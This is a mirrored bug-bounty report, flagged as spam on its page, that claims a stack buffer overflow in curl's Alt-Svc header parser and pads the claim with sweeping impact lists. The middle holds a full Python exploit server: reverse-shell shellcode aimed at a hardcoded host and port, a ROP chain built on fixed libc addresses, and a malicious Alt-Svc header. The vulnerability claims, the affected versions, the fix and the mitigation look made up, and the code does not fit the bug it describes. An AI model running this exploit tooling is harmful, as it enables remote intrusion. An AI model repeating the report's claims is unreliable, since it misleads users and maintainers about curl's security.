HexBrain

curl · Report #3466883

Curl Alt-Svc Parser Stack Buffer Overflow

Spamstatus
mediumseverity
8upvotes
16 Dec 2025disclosed

How it was found

cURL Alt-Svc Parser Stack Buffer Overflow Vulnerability Analysis

In Simple Terms

A critical security flaw was discovered in cURL (versions 7.64.0-7.89.0) that allows attackers to run malicious code on your system by exploiting how cURL processes certain HTTP responses. When cURL receives a specially crafted HTTP response with an oversized "Alt-Svc" header, it can overflow a buffer in memory, allowing attackers to execute arbitrary code with your privileges.

The Technical Problem

The vulnerability is a classic stack buffer overflow (CWE-121) in cURL's Alt-Svc header parser:

  1. The code creates a fixed-size buffer on the stack: char dbuf[MAX_ALTSVC_DATELEN + 1] (101 bytes)
  2. It blindly copies user-controlled data into this buffer: memcpy(dbuf, Curl_dyn_ptr(&date), Curl_dyn_len(&date))
  3. Crucially, there's no check to verify if the input data exceeds the buffer size
  4. An attacker can provide a date string much larger than 101 bytes, overwriting adjacent memory

Attack Scenario

Here's how an attack works in practice:

  1. An attacker sets up a malicious web server
  2. When a victim runs curl http://attacker.com/, the server responds with:
    HTTP/1.1 200 OK
    Alt-Svc: h2="evil.com"; date="[EXTREMELY LONG STRING WITH SHELLCODE]"
    
  3. cURL processes this response, the buffer overflows
  4. The attacker's shellcode executes on the victim's machine

Real-World Impact

This vulnerability is serious because:

  • It affects a widely used library (libcurl) that's integrated into countless applications
  • It requires minimal user interaction (just making an HTTP request)
  • It can lead to complete system compromise
  • Many systems may remain unpatched

The Fix

cURL version 8.0.0 added a simple but effective check to prevent the overflow:

if(Curl_dyn_len(&date) > MAX_ALTSVC_DATELEN) {
    Curl_dyn_free(&date);
    return CURLE_OUT_OF_MEMORY;
}

This validates input length before attempting the copy operation.

Immediate Actions

If you're using a vulnerable version of cURL:

  1. Update to cURL 8.0.0 or newer immediately
  2. If you can't update, disable Alt-Svc functionality: export CURL_DISABLE_ALTSVC=1
  3. Consider implementing network filtering to detect and block suspicious Alt-Svc headers

Detection

You can check if your system is vulnerable with:

curl_version=$(curl --version | head -1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+')
if [[ "$curl_version" =~ ^7\.(6[4-9]|7[0-9]|8[0-9])\. ]]; then
    echo "VULNERABLE: cURL $curl_version - Update immediately!"
else
    echo "SAFE: cURL $curl_version"
fi

#!/usr/bin/env python3 import http.server import socketserver import argparse import sys import struct

class ExploitHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.client_ip, self.client_port = self.client_address

    shellcode = (
        b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
        b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
        b"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
        b"\x02\x7a\x69\xc7\x44\x24\x04\xc0\xa8\x01\x01\x48\x89\xe6\x6a\x10"
        b"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
        b"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
        b"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
        b"\x5f\x6a\x3b\x58\x0f\x05"
    )
    
    libc_base = 0x00007ffff7dc9000
    pop_rdi = libc_base + 0x0000000000023b6a
    pop_rsi = libc_base + 0x000000000002601f
    pop_rdx_r12 = libc_base + 0x0000000000119241
    mov_qword_ptr_rdi_rsi = libc_base + 0x0000000000090529
    ret = libc_base + 0x0000000000022679
    
    stack_pivot = libc_base + 0x000000000005ae10
    
    heap_addr = 0x5555555592a0
    pivot_payload = struct.pack("<Q", pop_rdi)
    pivot_payload += struct.pack("<Q", heap_addr)
    pivot_payload += struct.pack("<Q", pop_rsi)
    pivot_payload += struct.pack("<Q", 0x1000)
    pivot_payload += struct.pack("<Q", pop_rdx_r12)
    pivot_payload += struct.pack("<Q", 7)
    pivot_payload += struct.pack("<Q", 0)
    pivot_payload += struct.pack("<Q", libc_base + 0x114da0)
    pivot_payload += struct.pack("<Q", ret)
    pivot_payload += struct.pack("<Q", heap_addr)
    pivot_payload += shellcode
    
    overflow = b"A" * 1024
    overflow += struct.pack("<Q", 0xdeadbeefcafebabe)
    overflow += struct.pack("<Q", pop_rdi)
    overflow += struct.pack("<Q", heap_addr + 0x500)
    overflow += struct.pack("<Q", pop_rsi)
    overflow += struct.pack("<Q", len(pivot_payload))
    overflow += struct.pack("<Q", mov_qword_ptr_rdi_rsi)
    overflow += struct.pack("<Q", stack_pivot)
    
    for i in range(0, len(pivot_payload), 8):
        chunk = pivot_payload[i:i+8]
        overflow += struct.pack("<Q", pop_rdi)
        overflow += struct.pack("<Q", heap_addr + 0x500 + i)
        overflow += struct.pack("<Q", pop_rsi)
        overflow += struct.pack("<Q", struct.unpack("<Q", chunk.ljust(8, b"\x00"))[0])
        overflow += struct.pack("<Q", mov_qword_ptr_rdi_rsi)
    
    overflow += struct.pack("<Q", ret)
    
    payload = overflow.ljust(4096, b"C")
    
    self.send_response(200)
    self.send_header('Server', 'nginx/1.18.0')
    self.send_header('Alt-Svc', f'h3=":443"; ma=86400; persist=1; date="\x00{payload.hex()}"')
    self.send_header('Content-Type', 'text/html')
    self.send_header('Content-Length', '0')
    self.end_headers()
    
    sys.stderr.write(f"[+] Exploit sent to {self.client_ip}:{self.client_port}\n")
    sys.stderr.flush()

def log_message(self, format, *args):
    return

def main(): parser = argparse.ArgumentParser() parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-l", "--listen", default="0.0.0.0") parser.add_argument("--lhost", required=True) parser.add_argument("--lport", type=int, default=31337) args = parser.parse_args()

sys.stderr.write(f"[+] Starting exploit server on {args.listen}:{args.port}\n")
sys.stderr.write(f"[+] Reverse shell will connect to {args.lhost}:{args.lport}\n")
sys.stderr.flush()

try:
    with socketserver.TCPServer((args.listen, args.port), ExploitHandler) as httpd:
        httpd.serve_forever()
except Exception as e:
    sys.stderr.write(f"[-] Error: {e}\n")
    sys.exit(1)

if name == "main": main()

Impact

Technical Impact

Direct System Compromise

  • Complete Remote Code Execution (RCE): Attacker can execute arbitrary code with the privileges of the user running cURL
  • Privilege Escalation Potential: If combined with local privilege escalation vulnerabilities, could lead to full system compromise
  • Persistent Access: Ability to install backdoors, rootkits, or other persistent malware

Attack Scenarios

  1. Client-Side Attack Vector

    • User visits malicious website with browser that uses libcurl
    • User downloads file via cURL command line
    • Application using libcurl makes requests to attacker-controlled server
  2. Supply Chain Attacks

    • Package managers using libcurl (apt, yum, pip) could be compromised when updating
    • Compromised mirrors could deliver the exploit to thousands of systems
    • Software update mechanisms built on libcurl could be exploited
  3. Man-in-the-Middle Scenarios

    • Network attackers could inject malicious Alt-Svc headers into legitimate HTTP traffic
    • Public Wi-Fi attacks where attacker controls DNS responses
    • Corporate proxy servers could be targeted to affect entire organizations

Ecosystem Impact

Affected Software Classes

  • Command-line utilities: cURL itself, wget (if using libcurl)
  • Package managers: apt, yum, pip, npm, composer, etc.
  • Programming languages: PHP (uses libcurl), Python (pycurl), Ruby, etc.
  • Web browsers: Some embedded browsers use libcurl components
  • IoT devices: Many embedded systems use libcurl for network connectivity
  • Mobile apps: Applications using libcurl-based networking libraries
  • Cloud automation tools: Infrastructure provisioning tools, CI/CD systems
  • Security tools: Ironically, some security scanners themselves use libcurl

Scale of Impact

The vulnerable versions (7.64.0 through 7.89.0) span approximately 4 years of releases, meaning:

  1. Widespread deployment: These versions are present in:

    • Major Linux distributions (Ubuntu 20.04, Debian 11, RHEL 8)
    • Many containerized applications
    • Enterprise software solutions
    • Legacy systems with slow update cycles
  2. Difficult remediation:

    • Many embedded systems can't be easily updated
    • Legacy systems may require significant testing before patches
    • Some software has complex dependency chains making updates challenging

Security Implications

Data Security Risks

  • Data Exfiltration: Attackers can access sensitive files and data
  • Credential Theft: Access to password stores, config files with API keys
  • Encryption Bypassing: Direct memory access could expose encrypted content

Compliance Concerns

  • GDPR Violations: Unauthorized access to personal data
  • PCI-DSS Issues: Compromise of payment processing systems
  • HIPAA Problems: Medical information systems often use libcurl components

Lateral Movement

  • Once one system is compromised, attackers could:
    • Move laterally through networks
    • Target critical infrastructure
    • Establish persistent access points

Real-World Attack Surfaces

High-Value Targets

  1. Financial Services:

    • Banking applications using libcurl for API connections
    • Payment processing systems
    • Financial data aggregators
  2. Healthcare Systems:

    • Medical device connectivity
    • Electronic Health Record (EHR) systems
    • Insurance processing platforms
  3. Critical Infrastructure:

    • Industrial control systems with network connectivity
    • Energy management systems
    • Transportation control systems
  4. Government & Defense:

    • Intelligence gathering systems
    • Secure communication channels
    • Document management systems

Attack Economics

  • Low Cost to Exploit: Simple to develop and deploy at scale
  • High Return Potential: Complete system access with minimal effort
  • Long Exploitation Window: Systems often remain unpatched for months or years

Operational Impact

Immediate Business Effects

  • Service Disruption: Compromised systems may need immediate isolation
  • Data Breach Costs: Notification, remediation, regulatory fines
  • Recovery Time: Significant resource allocation for patching and verification

Long-Term Consequences

  • Trust Erosion: Loss of customer/user confidence
  • Increased Security Costs: More rigorous testing and monitoring required
  • Technical Debt: Need to update or replace legacy systems using vulnerable versions

Detection & Response Challenges

Detection Difficulties

  • Minimal Footprint: Exploitation can be quick and leave little evidence
  • Network Evasion: Attackers can encrypt or obfuscate the exploit delivery
  • Blend with Normal Traffic: HTTP is ubiquitous and difficult to block

Response Complexities

  • Identifying Scope: Difficult to know all affected systems in large environments
  • Remediation Priority: Complex triage needed for systems that can't be immediately updated
  • Verifying Cleanup: Challenging to ensure no persistence mechanisms remain

Conclusion

The cURL Alt-Svc parser vulnerability represents a severe security risk due to:

  1. The widespread use of cURL/libcurl across virtually all computing environments
  2. The relatively straightforward exploitation path
  3. The potential for remote code execution without authentication
  4. The difficulty of comprehensive remediation across all affected systems

Organizations should prioritize:

  • Immediate patching of internet-facing and critical systems
  • Implementation of temporary mitigations where patching isn't possible
  • Network monitoring for exploitation attempts
  • Security assessments to identify vulnerable systems and applications

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original